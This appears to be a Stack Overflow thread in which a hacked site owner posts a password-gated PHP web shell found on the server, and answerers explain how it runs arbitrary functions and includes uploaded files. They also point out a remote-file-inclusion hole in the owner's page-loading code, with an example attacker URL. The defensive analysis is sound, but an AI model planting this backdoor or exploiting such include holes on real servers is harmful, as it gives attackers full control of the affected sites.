11

I was hacked, and apparently they were sending spam emails. There were two files that they injected into my server (that were duplicated across all sub-directories). One is a heavily hashed PHP file that may be the sender. The code below is from the other file.

Here's my question -- What is this accomplishing? I can't translate its purpose. Also, what should I do to avoid allowing this to happen again?

<?php

if(@md5($_POST['pass'])!=='692e3f52ee6f16bc78fa6e1ec4bd4a6a')
    die();
@extract($_POST);

if(!empty($a))
    @$a($b);

if(!empty($_FILES['tmp_name']))
    @include($_FILES['tmp_name']);

?>
Kara
  • 6,115
  • 16
  • 50
  • 57
idealizm
  • 123
  • 1
  • 6
  • 2
    This code permits someone to upload any php file to your server and `include`ing it for execution. All they need to do is supply a password (which they obviously know) – Michael Berkowski Dec 02 '13 at 15:51
  • 3
    Note that you need to do more than delete this file (and others dropped in by the exploit). You must plug the original hole which allowed these to be uploaded. Most likely, if there is any file action or upload in your code such as via `$_FILES`, you have a directory traversal vulnerability or similar. – Michael Berkowski Dec 02 '13 at 15:54
  • 1
    `@` means that it's surpressing error messages. –  Dec 02 '13 at 15:59
  • I'm actually not using Wordpress (or any other CMS) on this domain -- but I do have an index.php file which handles the dynamic creation of various pages by doing an include of an existing file prefixed with an underscore -- so index.php?go=about would include("_about.php"). It checks if the file exists, and, if not, only includes the default file. I was hoping that this was secure enough. Is this where they might have exploited my code? ` if ($_GET['go']=='') { $go = 'videos'; } else { $go = $_GET['go']; } if (!(file_exists('_'.$go.'.php'))) { $go = 'videos'; } ` – idealizm Dec 02 '13 at 16:57
  • 2
    That's a very bad idea. You should use an array to define a list of page names and the files they can include, otherwise you're potentially giving users the ability to arbitrarily include ANY files. Do you have any forms on the site - either public or what you think is private - that allow file uploads? That's probably how the hackers go the files on your server: an unprotected form. Once they got the files on then your strange CMS code gave them the ability to call them directly from the browser! – Dave Dec 02 '13 at 17:15
  • Thanks Dave - Your point is noted about using arrays. However, there's nothing on my end that accepts uploads. Could they still exploit my server via uploads with this code? – idealizm Dec 02 '13 at 17:36
  • 1
    @idealizm : see the **edit** in my answer in regards to your comment. Yes, you created your own backdoor! – nl-x Dec 02 '13 at 21:22

3 Answers3

14

rename the file immediately (to something other than .php) before further inspecting it, so any malicious user can't use it anymore.

Then investigate to how they were able to inject this on your server.

In your access logs you will find page-loads that load that specific PHP file. That will be your first clue. Investigate other connections from the same IP address for example and look at what scripts they have accessed/abused. Somewhere you will probably find you have an outdated/vulnerable wordpress plug-in, joomla plug-in, etc. Update or remove that plug-in ASAP, or you will be hacked again soon!

Also when checking your access logs, see if they have uploaded new backdoors! Maybe you see some scripts being called by the same IP address that should not exist. Delete/Rename them too!

What is code does is pretty simple, yet pretty advanced: It allows the holder of the password to execute any code you would be able to execute through PHP. The advanced bit is that it is difficult to detect. It uses no base64, no eval, etc.

edit:

idealizm said in the comments:

I'm actually not using Wordpress (or any other CMS) on this domain -- but I do have an index.php file which handles the dynamic creation of various pages by doing an include of an existing file prefixed with an underscore -- so index.php?go=about would include("about.php"). It checks if the file exists, and, if not, only includes the default file. I was hoping that this was secure enough. Is this where they might have exploited my code? ` if ($_GET['go']=='') { $go = 'videos'; } else { $go = $_GET['go']; } if (!(file_exists(''.$go.'.php'))) { $go = 'videos'; }

Yes, there can be your problem! You say the included file is prefixed with an underscore, but I don't see that in your code... So, if the hacker went to index.php?go=http://hackerssite.com/hackerscode , you would end up including http://hackerssite.com/hackerscode.php code, and allow for havoc!

Remove (and never allow) the code inclusion of direct user input. Check $_GET['go'] against an array of allowed include pages, or use a switch to call the include.

nl-x
  • 11,762
  • 7
  • 33
  • 61
7

This allows them up run any function they want and allows them to upload a file and have it immediately included and parsed as PHP... it's as close to full access as you can get after root. Here's the full breakdown:

  1. Allow the attacked to make sure they are the only one able to issue an attack (a simple password protected)

    if(@md5($_POST['pass'])!=='692e3f52ee6f16bc78fa6e1ec4bd4a6a') die();

  2. Pull all the POST variables out as their own variables and then pass in any function name ($a) and call it (passing in the POST variable $b). - this allows them to run any loaded function (including things like exec if your system allows it)

    @extract($_POST);
    if(!empty($a)) @$a($b);

  3. Allow the attacker to upload a file (any file) and have it automatically included in the PHP script.

    if(!empty($_FILES['tmp_name'])) @include($_FILES['tmp_name']);

Also, the @ in front of each statement supresses errors, so it won't show up in the error log if you're auditing that.

Ben D
  • 14,321
  • 3
  • 45
  • 59
  • 1
    It's all danger. `$a($b)` executes whatever was passed in as `$_POST['a']` – Michael Berkowski Dec 02 '13 at 15:53
  • How can one modify the script like this? :| – ka_lin Dec 02 '13 at 15:54
  • 1
    @KA_lin - I'm not sure I understand the question – Ben D Dec 02 '13 at 16:02
  • @BenD - I was wondering how can an attacker inject this malicious code like this...via a fake image(actually a script) perhaps? – ka_lin Dec 02 '13 at 16:04
  • 1
    @KA_lin This is possible, he could also have gained access to the server via FTP or have uploaded it via an unsecure upload script (which is less likely to be the cause since it's everywhere) – thormeier Dec 02 '13 at 16:06
  • 3
    @KA_lin - yeah, most likely it's an unsecure uploading system (a CMS that allows the uploading of PHP scripts, for instance, or allows an htaccess file in, which in turn allows other valid types (gifs, for instance) to be parsed as PHP... once they've got a foothold they can generally gain a fair amount of control – Ben D Dec 02 '13 at 16:09
  • This is great feedback - thanks. I'm actually not using Wordpress (or any other CMS) on this domain -- but I do have an index.php file which handles the dynamic creation of various pages by doing an include of an existing file prefixed with an underscore -- so index.php?go=about would include("about.php"). It checks if the file exists, and, if not, only includes the default file. I hoped that this was secure enough. Is this where they might have exploited my code? `if ($_GET['go']=='') { $go = 'videos'; } else { $go = $_GET['go']; } if (!(file_exists(''.$go.'.php'))) { $go = 'videos'; } ` – idealizm Dec 02 '13 at 17:03
  • Or could they have exploited this code? ` if ($handle = @opendir('media/'.$city.'/'.$num.'/')) { while (false !== ($file = readdir($handle))) { if ($file != "." && $file != ".." && !(strpos($file,'.jpg')===false)) { $filename = str_replace('.jpg','',$file); $files[] = $filename; } } closedir($handle); } ` – idealizm Dec 02 '13 at 17:16
4

Seems like it's executing a function whose name is given via $_POST['a'] with the value from $_POST['b'] as a paremeter and than includes a file which is uploaded via a form.

So basically it lets the user execute PHP files and functions on your server.

Delete or rename this file immediately to avoid any further usage.

thormeier
  • 672
  • 9
  • 25